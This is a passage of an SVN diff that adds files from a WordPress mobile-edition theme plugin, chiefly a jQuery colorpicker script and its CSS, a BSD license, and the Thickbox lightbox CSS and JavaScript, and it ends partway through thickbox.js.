+.colorpicker_focus {
+	background-position: center;
+}
+.colorpicker_hex.colorpicker_focus {
+	background-position: bottom;
+}
+.colorpicker_submit.colorpicker_focus {
+	background-position: bottom;
+}
+.colorpicker_slider {
+	background-position: bottom;
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/carrington-core/js/colorpicker.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/carrington-core/js/colorpicker.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/carrington-core/js/colorpicker.js	(revision 44)
@@ -0,0 +1,490 @@
+/**
+ *
+ * Color picker
+ * Author: Stefan Petre www.eyecon.ro
+ * 
+ */
+(function ($) {
+	var ColorPicker = function () {
+		var
+			ids = {},
+			inAction,
+			charMin = 65,
+			visible,
+			tpl = '<div class="colorpicker"><div class="colorpicker_color"><div><div></div></div></div><div class="colorpicker_hue"><div></div></div><div class="colorpicker_new_color"></div><div class="colorpicker_current_color"></div><div class="colorpicker_hex"><input type="text" maxlength="6" size="6" /></div><div class="colorpicker_rgb_r colorpicker_field"><input type="text" maxlength="3" size="3" /><span></span></div><div class="colorpicker_rgb_g colorpicker_field"><input type="text" maxlength="3" size="3" /><span></span></div><div class="colorpicker_rgb_b colorpicker_field"><input type="text" maxlength="3" size="3" /><span></span></div><div class="colorpicker_hsb_h colorpicker_field"><input type="text" maxlength="3" size="3" /><span></span></div><div class="colorpicker_hsb_s colorpicker_field"><input type="text" maxlength="3" size="3" /><span></span></div><div class="colorpicker_hsb_b colorpicker_field"><input type="text" maxlength="3" size="3" /><span></span></div><div class="colorpicker_submit"></div></div>',
+			defaults = {
+				eventName: 'click',
+				onShow: function () {},
+				onBeforeShow: function(){},
+				onHide: function () {},
+				onChange: function () {},
+				onSubmit: function () {},
+				color: 'ff0000',
+				livePreview: true,
+				flat: false
+			},
+			fillRGBFields = function  (hsb, cal) {
+				var rgb = HSBToRGB(hsb);
+				$(cal).data('colorpicker').fields
+					.eq(1).val(rgb.r).end()
+					.eq(2).val(rgb.g).end()
+					.eq(3).val(rgb.b).end();
+			},
+			fillHSBFields = function  (hsb, cal) {
+				$(cal).data('colorpicker').fields
+					.eq(4).val(hsb.h).end()
+					.eq(5).val(hsb.s).end()
+					.eq(6).val(hsb.b).end();
+			},
+			fillHexFields = function (hsb, cal) {
+				$(cal).data('colorpicker').fields
+					.eq(0).val(HSBToHex(hsb)).end();
+			},
+			setSelector = function (hsb, cal) {
+				$(cal).data('colorpicker').selector.css('backgroundColor', '#' + HSBToHex({h: hsb.h, s: 100, b: 100}));
+				$(cal).data('colorpicker').selectorIndic.css({
+					left: parseInt(150 * hsb.s/100, 10),
+					top: parseInt(150 * (100-hsb.b)/100, 10)
+				});
+			},
+			setHue = function (hsb, cal) {
+				$(cal).data('colorpicker').hue.css('top', parseInt(150 - 150 * hsb.h/360, 10));
+			},
+			setCurrentColor = function (hsb, cal) {
+				$(cal).data('colorpicker').currentColor.css('backgroundColor', '#' + HSBToHex(hsb));
+			},
+			setNewColor = function (hsb, cal) {
+				$(cal).data('colorpicker').newColor.css('backgroundColor', '#' + HSBToHex(hsb));
+			},
+			keyDown = function (ev) {
+				var pressedKey = ev.charCode || ev.keyCode || -1;
+				if ((pressedKey > charMin && pressedKey <= 90) || pressedKey == 32) {
+					return false;
+				}
+				var cal = $(this).parent().parent();
+				if (cal.data('colorpicker').livePreview === true) {
+					change.apply(this);
+				}
+			},
+			change = function (ev) {
+				var cal = $(this).parent().parent(), col;
+				if (this.parentNode.className.indexOf('_hex') > 0) {
+					cal.data('colorpicker').color = col = HexToHSB(fixHex(this.value));
+				} else if (this.parentNode.className.indexOf('_hsb') > 0) {
+					cal.data('colorpicker').color = col = fixHSB({
+						h: parseInt(cal.data('colorpicker').fields.eq(4).val(), 10),
+						s: parseInt(cal.data('colorpicker').fields.eq(5).val(), 10),
+						b: parseInt(cal.data('colorpicker').fields.eq(6).val(), 10)
+					});
+				} else {
+					cal.data('colorpicker').color = col = RGBToHSB(fixRGB({
+						r: parseInt(cal.data('colorpicker').fields.eq(1).val(), 10),
+						g: parseInt(cal.data('colorpicker').fields.eq(2).val(), 10),
+						b: parseInt(cal.data('colorpicker').fields.eq(3).val(), 10)
+					}));
+				}
+				if (ev) {
+					fillRGBFields(col, cal.get(0));
+					fillHexFields(col, cal.get(0));
+					fillHSBFields(col, cal.get(0));
+				}
+				setSelector(col, cal.get(0));
+				setHue(col, cal.get(0));
+				setNewColor(col, cal.get(0));
+				cal.data('colorpicker').onChange.apply(cal, [col, HSBToHex(col), HSBToRGB(col)]);
+			},
+			blur = function (ev) {
+				var cal = $(this).parent().parent();
+				cal.data('colorpicker').fields.parent().removeClass('colorpicker_focus')
+			},
+			focus = function () {
+				charMin = this.parentNode.className.indexOf('_hex') > 0 ? 70 : 65;
+				$(this).parent().parent().data('colorpicker').fields.parent().removeClass('colorpicker_focus');
+				$(this).parent().addClass('colorpicker_focus');
+			},
+			downIncrement = function (ev) {
+				var field = $(this).parent().find('input').focus();
+				var current = {
+					el: $(this).parent().addClass('colorpicker_slider'),
+					max: this.parentNode.className.indexOf('_hsb_h') > 0 ? 360 : (this.parentNode.className.indexOf('_hsb') > 0 ? 100 : 255),
+					y: ev.pageY,
+					field: field,
+					val: parseInt(field.val(), 10),
+					preview: $(this).parent().parent().data('colorpicker').livePreview					
+				};
+				$(document).bind('mouseup', current, upIncrement);
+				$(document).bind('mousemove', current, moveIncrement);
+			},
+			moveIncrement = function (ev) {
+				ev.data.field.val(Math.max(0, Math.min(ev.data.max, parseInt(ev.data.val + ev.pageY - ev.data.y, 10))));
+				if (ev.data.preview) {
+					change.apply(ev.data.field.get(0), [true]);
+				}
+				return false;
+			},
+			upIncrement = function (ev) {
+				change.apply(ev.data.field.get(0), [true]);
+				ev.data.el.removeClass('colorpicker_slider').find('input').focus();
+				$(document).unbind('mouseup', upIncrement);
+				$(document).unbind('mousemove', moveIncrement);
+				return false;
+			},
+			downHue = function (ev) {
+				var current = {
+					cal: $(this).parent(),
+					y: $(this).offset().top
+				};
+				current.preview = current.cal.data('colorpicker').livePreview;
+				$(document).bind('mouseup', current, upHue);
+				$(document).bind('mousemove', current, moveHue);
+			},
+			moveHue = function (ev) {
+				change.apply(
+					ev.data.cal.data('colorpicker')
+						.fields
+						.eq(4)
+						.val(parseInt(360*(150 - Math.max(0,Math.min(150,(ev.pageY - ev.data.y))))/150, 10))
+						.get(0),
+					[ev.data.preview]
+				);
+				return false;
+			},
+			upHue = function (ev) {
+				fillRGBFields(ev.data.cal.data('colorpicker').color, ev.data.cal.get(0));
+				fillHexFields(ev.data.cal.data('colorpicker').color, ev.data.cal.get(0));
+				$(document).unbind('mouseup', upHue);
+				$(document).unbind('mousemove', moveHue);
+				return false;
+			},
+			downSelector = function (ev) {
+				var current = {
+					cal: $(this).parent(),
+					pos: $(this).offset()
+				};
+				current.preview = current.cal.data('colorpicker').livePreview;
+				$(document).bind('mouseup', current, upSelector);
+				$(document).bind('mousemove', current, moveSelector);
+			},
+			moveSelector = function (ev) {
+				change.apply(
+					ev.data.cal.data('colorpicker')
+						.fields
+						.eq(6)
+						.val(parseInt(100*(150 - Math.max(0,Math.min(150,(ev.pageY - ev.data.pos.top))))/150, 10))
+						.end()
+						.eq(5)
+						.val(parseInt(100*(Math.max(0,Math.min(150,(ev.pageX - ev.data.pos.left))))/150, 10))
+						.get(0),
+					[ev.data.preview]
+				);
+				return false;
+			},
+			upSelector = function (ev) {
+				fillRGBFields(ev.data.cal.data('colorpicker').color, ev.data.cal.get(0));
+				fillHexFields(ev.data.cal.data('colorpicker').color, ev.data.cal.get(0));
+				$(document).unbind('mouseup', upSelector);
+				$(document).unbind('mousemove', moveSelector);
+				return false;
+			},
+			enterSubmit = function (ev) {
+				$(this).addClass('colorpicker_focus');
+			},
+			leaveSubmit = function (ev) {
+				$(this).removeClass('colorpicker_focus');
+			},
+			clickSubmit = function (ev) {
+				var cal = $(this).parent();
+				var col = cal.data('colorpicker').color;
+				cal.data('colorpicker').origColor = col;
+				setCurrentColor(col, cal.get(0));
+				cal.data('colorpicker').onSubmit(col, HSBToHex(col), HSBToRGB(col));
+			},
+			show = function (ev) {
+				var cal = $('#' + $(this).data('colorpickerId'));
+				cal.data('colorpicker').onBeforeShow.apply(this, [cal.get(0)]);
+				var pos = $(this).offset();
+				var viewPort = getViewport();
+				var top = pos.top + this.offsetHeight;
+				var left = pos.left;
+				if (top + 176 > viewPort.t + viewPort.h) {
+					top -= this.offsetHeight + 176;
+				}
+				if (left + 356 > viewPort.l + viewPort.w) {
+					left -= 356;
+				}
+				cal.css({left: left + 'px', top: top + 'px'});
+				if (cal.data('colorpicker').onShow.apply(this, [cal.get(0)]) != false) {
+					cal.show();
+				}
+				$(document).bind('mousedown', {cal: cal}, hide);
+				return false;
+			},
+			hide = function (ev) {
+				if (!isChildOf(ev.data.cal.get(0), ev.target, ev.data.cal.get(0))) {
+					if (ev.data.cal.data('colorpicker').onHide.apply(this, [ev.data.cal.get(0)]) != false) {
+						ev.data.cal.hide();
+					}
+					$(document).unbind('mousedown', hide);
+				}
+			},
+			isChildOf = function(parentEl, el, container) {
+				if (parentEl == el) {
+					return true;
+				}
+				if (parentEl.contains) {
+					return parentEl.contains(el);
+				}
+				if ( parentEl.compareDocumentPosition ) {
+					return !!(parentEl.compareDocumentPosition(el) & 16);
+				}
+				var prEl = el.parentNode;
+				while(prEl && prEl != container) {
+					if (prEl == parentEl)
+						return true;
+					prEl = prEl.parentNode;
+				}
+				return false;
+			},
+			getViewport = function () {
+				var m = document.compatMode == 'CSS1Compat';
+				return {
+					l : window.pageXOffset || (m ? document.documentElement.scrollLeft : document.body.scrollLeft),
+					t : window.pageYOffset || (m ? document.documentElement.scrollTop : document.body.scrollTop),
+					w : window.innerWidth || (m ? document.documentElement.clientWidth : document.body.clientWidth),
+					h : window.innerHeight || (m ? document.documentElement.clientHeight : document.body.clientHeight)
+				};
+			},
+			fixHSB = function (hsb) {
+				return {
+					h: Math.min(360, Math.max(0, hsb.h)),
+					s: Math.min(100, Math.max(0, hsb.s)),
+					b: Math.min(100, Math.max(0, hsb.b))
+				};
+			}, 
+			fixRGB = function (rgb) {
+				return {
+					r: Math.min(255, Math.max(0, rgb.r)),
+					g: Math.min(255, Math.max(0, rgb.g)),
+					b: Math.min(255, Math.max(0, rgb.b))
+				};
+			},
+			fixHex = function (hex) {
+				var len = 6 - hex.length;
+				if (len > 0) {
+					var o = [];
+					for (var i=0; i<len; i++) {
+						o.push('0');
+					}
+					o.push(hex);
+					hex = o.join('');
+				}
+				return hex;
+			}, 
+			HexToRGB = function (hex) {
+				var hex = parseInt(((hex.indexOf('#') > -1) ? hex.substring(1) : hex), 16);
+				return {r: hex >> 16, g: (hex & 0x00FF00) >> 8, b: (hex & 0x0000FF)};
+			},
+			HexToHSB = function (hex) {
+				return RGBToHSB(HexToRGB(hex));
+			},
+			RGBToHSB = function (rgb) {
+				var hsb = {};
+				hsb.b = Math.max(Math.max(rgb.r,rgb.g),rgb.b);
+				hsb.s = (hsb.b <= 0) ? 0 : Math.round(100*(hsb.b - Math.min(Math.min(rgb.r,rgb.g),rgb.b))/hsb.b);
+				hsb.b = Math.round((hsb.b /255)*100);
+				if((rgb.r==rgb.g) && (rgb.g==rgb.b)) hsb.h = 0;
+				else if(rgb.r>=rgb.g && rgb.g>=rgb.b) hsb.h = 60*(rgb.g-rgb.b)/(rgb.r-rgb.b);
+				else if(rgb.g>=rgb.r && rgb.r>=rgb.b) hsb.h = 60  + 60*(rgb.g-rgb.r)/(rgb.g-rgb.b);
+				else if(rgb.g>=rgb.b && rgb.b>=rgb.r) hsb.h = 120 + 60*(rgb.b-rgb.r)/(rgb.g-rgb.r);
+				else if(rgb.b>=rgb.g && rgb.g>=rgb.r) hsb.h = 180 + 60*(rgb.b-rgb.g)/(rgb.b-rgb.r);
+				else if(rgb.b>=rgb.r && rgb.r>=rgb.g) hsb.h = 240 + 60*(rgb.r-rgb.g)/(rgb.b-rgb.g);
+				else if(rgb.r>=rgb.b && rgb.b>=rgb.g) hsb.h = 300 + 60*(rgb.r-rgb.b)/(rgb.r-rgb.g);
+				else hsb.h = 0;
+				hsb.h = Math.round(hsb.h);
+				return hsb;
+			},
+			HSBToRGB = function (hsb) {
+				var rgb = {};
+				var h = Math.round(hsb.h);
+				var s = Math.round(hsb.s*255/100);
+				var v = Math.round(hsb.b*255/100);
+				if(s == 0) {
+					rgb.r = rgb.g = rgb.b = v;
+				} else {
+					var t1 = v;
+					var t2 = (255-s)*v/255;
+					var t3 = (t1-t2)*(h%60)/60;
+					if(h==360) h = 0;
+					if(h<60) {rgb.r=t1;	rgb.b=t2; rgb.g=t2+t3}
+					else if(h<120) {rgb.g=t1; rgb.b=t2;	rgb.r=t1-t3}
+					else if(h<180) {rgb.g=t1; rgb.r=t2;	rgb.b=t2+t3}
+					else if(h<240) {rgb.b=t1; rgb.r=t2;	rgb.g=t1-t3}
+					else if(h<300) {rgb.b=t1; rgb.g=t2;	rgb.r=t2+t3}
+					else if(h<360) {rgb.r=t1; rgb.g=t2;	rgb.b=t1-t3}
+					else {rgb.r=0; rgb.g=0;	rgb.b=0}
+				}
+				return {r:Math.round(rgb.r), g:Math.round(rgb.g), b:Math.round(rgb.b)};
+			},
+			RGBToHex = function (rgb) {
+				var hex = [
+					rgb.r.toString(16),
+					rgb.g.toString(16),
+					rgb.b.toString(16)
+				];
+				$.each(hex, function (nr, val) {
+					if (val.length == 1) {
+						hex[nr] = '0' + val;
+					}
+				});
+				return hex.join('');
+			},
+			HSBToHex = function (hsb) {
+				return RGBToHex(HSBToRGB(hsb));
+			};
+		return {
+			init: function (options) {
+				options = $.extend({}, defaults, options||{});
+				if (typeof options.color == 'string') {
+					options.color = HexToHSB(options.color);
+				} else if (options.color.r != undefined && options.color.g != undefined && options.color.b != undefined) {
+					options.color = RGBToHSB(options.color);
+				} else if (options.color.h != undefined && options.color.s != undefined && options.color.b != undefined) {
+					options.color = fixHSB(options.color);
+				} else {
+					return this;
+				}
+				options.origColor = options.color;
+				return this.each(function () {
+					if (!$(this).data('colorpickerId')) {
+						var id = 'collorpicker_' + parseInt(Math.random() * 1000);
+						$(this).data('colorpickerId', id);
+						var cal = $(tpl).attr('id', id);
+						if (options.flat) {
+							cal.appendTo(this).show();
+						} else {
+							cal.appendTo(document.body);
+						}
+						options.fields = cal
+											.find('input')
+												.bind('keydown', keyDown)
+												.bind('change', change)
+												.bind('blur', blur)
+												.bind('focus', focus);
+						cal.find('span').bind('mousedown', downIncrement);
+						options.selector = cal.find('div.colorpicker_color').bind('mousedown', downSelector);
+						options.selectorIndic = options.selector.find('div div');
+						options.hue = cal.find('div.colorpicker_hue div');
+						cal.find('div.colorpicker_hue').bind('mousedown', downHue);
+						options.newColor = cal.find('div.colorpicker_new_color');
+						options.currentColor = cal.find('div.colorpicker_current_color');
+						cal.data('colorpicker', options);
+						cal.find('div.colorpicker_submit')
+							.bind('mouseenter', enterSubmit)
+							.bind('mouseleave', leaveSubmit)
+							.bind('click', clickSubmit);
+						fillRGBFields(options.color, cal.get(0));
+						fillHSBFields(options.color, cal.get(0));
+						fillHexFields(options.color, cal.get(0));
+						setHue(options.color, cal.get(0));
+						setSelector(options.color, cal.get(0));
+						setCurrentColor(options.color, cal.get(0));
+						setNewColor(options.color, cal.get(0));
+						if (options.flat) {
+							cal.css({
+								position: 'relative',
+								display: 'block'
+							});
+						} else {
+							$(this).bind(options.eventName, show);
+						}
+					}
+				});
+			},
+			showPicker: function() {
+				return this.each( function () {
+					if ($(this).data('colorpickerId')) {
+						show.apply(this);
+					}
+				});
+			},
+			hidePicker: function() {
+				return this.each( function () {
+					if ($(this).data('colorpickerId')) {
+						$('#' + $(this).data('colorpickerId')).hide();
+					}
+				});
+			},
+			setColor: function(col) {
+				if (typeof col == 'string') {
+					col = HexToHSB(col);
+				} else if (col.r != undefined && col.g != undefined && col.b != undefined) {
+					col = RGBToHSB(col);
+				} else if (col.h != undefined && col.s != undefined && col.b != undefined) {
+					col = fixHSB(col);
+				} else {
+					return this;
+				}
+				return this.each(function(){
+					if ($(this).data('colorpickerId')) {
+						var cal = $('#' + $(this).data('colorpickerId'));
+						cal.data('colorpicker').color = col;
+						cal.data('colorpicker').origColor = col;
+						fillRGBFields(col, cal.get(0));
+						fillHSBFields(col, cal.get(0));
+						fillHexFields(col, cal.get(0));
+						setHue(col, cal.get(0));
+						setSelector(col, cal.get(0));
+						setCurrentColor(col, cal.get(0));
+						setNewColor(col, cal.get(0));
+					}
+				});
+			}
+		};
+	}();
+	$.fn.extend({
+		ColorPicker: ColorPicker.init,
+		ColorPickerHide: ColorPicker.hide,
+		ColorPickerShow: ColorPicker.show,
+		ColorPickerSetColor: ColorPicker.setColor
+	});
+})(jQuery)
+
+// hex to decimal code found here and used with minor modification: http://www.telerik.com/community/forums/aspnet-ajax/colorpicker/calculate-color-contrast-in-javascript.aspx
+function getDec(hexChar) {
+	if (typeof hexChar == 'undefined') {
+		return 0;
+	}
+	switch(hexChar.toUpperCase()) {
+		case '0': return 0;
+		case '1': return 1;
+		case '2': return 2;
+		case '3': return 3;
+		case '4': return 4;
+		case '5': return 5;
+		case '6': return 6;
+		case '7': return 7;
+		case '8': return 8;
+		case '9': return 9;
+		case 'A': return 10;
+		case 'B': return 11;
+		case 'C': return 12;
+		case 'D': return 13;
+		case 'E': return 14;
+		case 'F': return 15;
+	};
+}
+function hexToDec(hex) {
+	var colorChars = hex.split('');
+	var dec = (getDec(colorChars[0]) * 16) + getDec(colorChars[1]);
+	return dec;
+}
+function getRGB(color) {
+	// remove the '#'
+	if (color.indexOf('#') != -1) {
+		color = color.substring(color.indexOf('#') + 1);
+	}
+	var r = hexToDec(color.substr(0, 2));
+	var g = hexToDec(color.substr(2, 2));
+	var b = hexToDec(color.substr(4, 2));
+	return { r: r, g: g, b: b};
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/carrington-core/lightbox/LICENSE.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/carrington-core/lightbox/LICENSE.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/carrington-core/lightbox/LICENSE.txt	(revision 44)
@@ -0,0 +1,30 @@
+Software License Agreement (BSD License)
+
+Copyright (c) 2008 Warren Krewenki
+All rights reserved.
+
+Redistribution and use of this software in source and binary forms, with or without modification, are
+permitted provided that the following conditions are met:
+
+* Redistributions of source code must retain the above
+  copyright notice, this list of conditions and the
+  following disclaimer.
+
+* Redistributions in binary form must reproduce the above
+  copyright notice, this list of conditions and the
+  following disclaimer in the documentation and/or other
+  materials provided with the distribution.
+
+* Neither the name of jQuery Lightbox nor the names of its
+  contributors may be used to endorse or promote products
+  derived from this software without specific prior
+  written permission of jQuery Lightbox.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED
+WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
+PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
+ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
+INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
+TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
+ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/carrington-core/lightbox/css/thickbox.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/carrington-core/lightbox/css/thickbox.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/carrington-core/lightbox/css/thickbox.css	(revision 44)
@@ -0,0 +1,157 @@
+/* ----------------------------------------------------------------------------------------------------------------*/
+/* ---------->>> thickbox settings <<<-----------------------------------------------------------------------------*/
+/* ----------------------------------------------------------------------------------------------------------------*/
+#TB_overlay {
+	position: fixed;
+	z-index:100;
+	top: 0px;
+	left: 0px;
+	height:100%;
+	width:100%;
+}
+
+.TB_overlayMacFFBGHack {background: url(../img/macFFBgHack.png) repeat;}
+.TB_overlayBG {
+	background-color:#000;
+	filter:alpha(opacity=75);
+	-moz-opacity: 0.75;
+	opacity: 0.75;
+}
+
+* html #TB_overlay { /* ie6 hack */
+     position: absolute;
+     height: expression(document.body.scrollHeight > document.body.offsetHeight ? document.body.scrollHeight : document.body.offsetHeight + 'px');
+}
+
+#TB_window {
+	position: fixed;
+	background: #ffffff;
+	z-index: 102;
+	display:none;
+	border: 2px solid #ccc;
+	text-align:left;
+	top:50%;
+	left:50%;
+}
+
+* html #TB_window { /* ie6 hack */
+position: absolute;
+margin-top: expression(0 - parseInt(this.offsetHeight / 2) + (TBWindowMargin = document.documentElement && document.documentElement.scrollTop || document.body.scrollTop) + 'px');
+}
+
+#TB_window img#TB_Image {
+	display:block;
+}
+
+#TB_caption{
+	padding:7px 30px 10px 25px;
+	float:left;
+	overflow:hidden;
+	word-wrap: break-word;
+}
+
+#TB_closeWindow{
+	height:25px;
+	padding:11px 25px 10px 0;
+	float:right;
+}
+
+#TB_closeAjaxWindow{
+	float:right;
+	padding:5px 15px 5px 0;
+	margin-bottom:1px;
+	text-align:right;
+}
+
+#TB_ajaxWindowTitle{
+	float:left;
+	padding:5px 0 5px 15px;
+}
+
+#TB_title{
+	height:27px;
+}
+
+#TB_ImageWrapper {
+	margin:15px 15px 0;
+	position:relative;
+}
+#TB_ImageHoverNav {
+	height:100%;
+	top:0;
+	width: 100%;
+	position:absolute;
+	zoom:1;
+}
+a#TB_prev,
+a#TB_next {
+	background:transparent url(../img/blank.gif); /* IE6 hover area hack */
+	height:100%;
+	width: 49%;
+	text-indent:-32000px;
+}
+a#TB_prev {
+	float:left;
+}
+a#TB_next {
+	float:right;
+}
+
+#TB_ajaxContent{
+	clear:both;
+	padding:2px 15px 15px 15px;
+	overflow:auto;
+	text-align:left;
+	line-height:1.4em;
+}
+
+#TB_ajaxContent.TB_modal{
+	padding:15px;
+}
+
+#TB_ajaxContent p{
+	padding:5px 0px 5px 0px;
+}
+
+#TB_load{
+	position: fixed;
+	display:none;
+	height:13px;
+	width:208px;
+	z-index:103;
+	top: 50%;
+	left: 50%;
+	margin: -6px 0 0 -104px; /* -height/2 0 0 -width/2 */
+}
+
+* html #TB_load { /* ie6 hack */
+position: absolute;
+margin-top: expression(0 - parseInt(this.offsetHeight / 2) + (TBWindowMargin = document.documentElement && document.documentElement.scrollTop || document.body.scrollTop) + 'px');
+}
+
+#TB_HideSelect{
+	z-index:99;
+	position:fixed;
+	top: 0;
+	left: 0;
+	background-color:#fff;
+	border:none;
+	filter:alpha(opacity=0);
+	-moz-opacity: 0;
+	opacity: 0;
+	height:100%;
+	width:100%;
+}
+
+* html #TB_HideSelect { /* ie6 hack */
+     position: absolute;
+     height: expression(document.body.scrollHeight > document.body.offsetHeight ? document.body.scrollHeight : document.body.offsetHeight + 'px');
+}
+
+#TB_iframeContent{
+	clear:both;
+	border:none;
+	margin-bottom:-1px;
+	margin-top:1px;
+	_margin-bottom:1px;
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/carrington-core/lightbox/thickbox.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/carrington-core/lightbox/thickbox.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/carrington-core/lightbox/thickbox.js	(revision 44)
@@ -0,0 +1,332 @@
+/*
+ * Thickbox 3.1 - One Box To Rule Them All.
+ * By Cody Lindley (http://www.codylindley.com)
+ * Copyright (c) 2007 cody lindley
+ * Licensed under the MIT License: http://www.opensource.org/licenses/mit-license.php
+*/
+		  
+var tb_pathToImage = "images/loadingAnimation.gif";
+
+/*!!!!!!!!!!!!!!!!! edit below this line at your own risk !!!!!!!!!!!!!!!!!!!!!!!*/
+
+//on page load call tb_init
+jQuery(document).ready(function(){   
+	tb_init('a.thickbox, area.thickbox, input.thickbox');//pass where to apply thickbox
+	imgLoader = new Image();// preload image
+	imgLoader.src = tb_pathToImage;
+});
+
+//add thickbox to href & area elements that have a class of .thickbox
+function tb_init(domChunk){
+	jQuery(domChunk).click(function(){
+	var t = this.title || this.name || null;
+	var a = this.href || this.alt;
+	var g = this.rel || false;
+	tb_show(t,a,g);
+	this.blur();
+	return false;
+	});
+}
+
+function tb_show(caption, url, imageGroup) {//function called when the user clicks on a thickbox link
+
+	try {
+		if (typeof document.body.style.maxHeight === "undefined") {//if IE 6
+			jQuery("body","html").css({height: "100%", width: "100%"});
+			jQuery("html").css("overflow","hidden");
+			if (document.getElementById("TB_HideSelect") === null) {//iframe to hide select elements in ie6
+				jQuery("body").append("<iframe id='TB_HideSelect'></iframe><div id='TB_overlay'></div><div id='TB_window'></div>");
+				jQuery("#TB_overlay").click(tb_remove);
+			}
+		}else{//all others
+			if(document.getElementById("TB_overlay") === null){
+				jQuery("body").append("<div id='TB_overlay'></div><div id='TB_window'></div>");
+				jQuery("#TB_overlay").click(tb_remove);
+			}
+		}
+		
+		if(tb_detectMacXFF()){
+			jQuery("#TB_overlay").addClass("TB_overlayMacFFBGHack");//use png overlay so hide flash
+		}else{
+			jQuery("#TB_overlay").addClass("TB_overlayBG");//use background and opacity
+		}
+		
+		if(caption===null){caption="";}
+		jQuery("body").append("<div id='TB_load'><img src='"+imgLoader.src+"' /></div>");//add loader to the page
+		jQuery('#TB_load').show();//show loader
+		
+		var baseURL;
+	   if(url.indexOf("?")!==-1){ //ff there is a query string involved
+			baseURL = url.substr(0, url.indexOf("?"));
+	   }else{ 
+	   		baseURL = url;
+	   }
+	   
+	   var urlString = /\.jpg$|\.jpeg$|\.png$|\.gif$|\.bmp$/;
+	   var urlType = baseURL.toLowerCase().match(urlString);
+
+		if(urlType == '.jpg' || urlType == '.jpeg' || urlType == '.png' || urlType == '.gif' || urlType == '.bmp'){//code to show images
+				
+			TB_PrevCaption = "";
+			TB_PrevURL = "";
+			TB_PrevHTML = "";
+			TB_NextCaption = "";
+			TB_NextURL = "";
+			TB_NextHTML = "";
+			TB_imageCount = "";
+			TB_FoundURL = false;
+			if(imageGroup){
+				TB_TempArray = jQuery("a[@rel="+imageGroup+"]").get();
+				for (TB_Counter = 0; ((TB_Counter < TB_TempArray.length) && (TB_NextHTML === "")); TB_Counter++) {
+					var urlTypeTemp = TB_TempArray[TB_Counter].href.toLowerCase().match(urlString);
+						if (!(TB_TempArray[TB_Counter].href == url)) {						
+							if (TB_FoundURL) {
+								TB_NextCaption = TB_TempArray[TB_Counter].title;
+								TB_NextURL = TB_TempArray[TB_Counter].href;
+								TB_NextHTML = "<a id='TB_next' href='#'>Next &gt;</a>";
+							} else {
+								TB_PrevCaption = TB_TempArray[TB_Counter].title;
+								TB_PrevURL = TB_TempArray[TB_Counter].href;
+								TB_PrevHTML = "<a id='TB_prev' href='#'>&lt; Prev</a>";
+							}
+						} else {
+							TB_FoundURL = true;
+							TB_imageCount = "Image " + (TB_Counter + 1) +" of "+ (TB_TempArray.length);											
+						}
+				}
+			}
+
+			imgPreloader = new Image();
+			imgPreloader.onload = function(){		
+			imgPreloader.onload = null;
+
+// preload patch from: http://drupal.org/files/issues/thickbox_preloadimage.patch
+prevImg = new Image();
+nextImg = new Image();
+var tb_links = jQuery('a[@class="thickbox"]');
+var i = -1;
+tb_links.each(function(n) { if (this.href == imgPreloader.src) { i = n; } });
+if (i != -1) {
+	if (i > 0) { prevImg.src = tb_links[i-1].href; }
+	if (i+1 < tb_links.length) { nextImg.src = tb_links[i+1].href; }
+}
+
+
+			// Resizing large images - orginal by Christian Montoya edited by me.
+			var pagesize = tb_getPageSize();
+			var x = pagesize[0] - 150;
+			var y = pagesize[1] - 170;
+			var imageWidth = imgPreloader.width;
+			var imageHeight = imgPreloader.height;
+			if (imageWidth > x) {
+				imageHeight = imageHeight * (x / imageWidth); 
+				imageWidth = x; 
+				if (imageHeight > y) { 
+					imageWidth = imageWidth * (y / imageHeight); 
+					imageHeight = y; 
+				}
+			} else if (imageHeight > y) { 
+				imageWidth = imageWidth * (y / imageHeight); 
+				imageHeight = y; 
+				if (imageWidth > x) { 
+					imageHeight = imageHeight * (x / imageWidth); 
+					imageWidth = x;
+				}
+			}
+			// End Resizing
+			
+			
+			/* TODO: auto-calculate heights based on jQuery.height() of elements */
+			TB_WIDTH = imageWidth + 30;
+			TB_HEIGHT = imageHeight + 130;
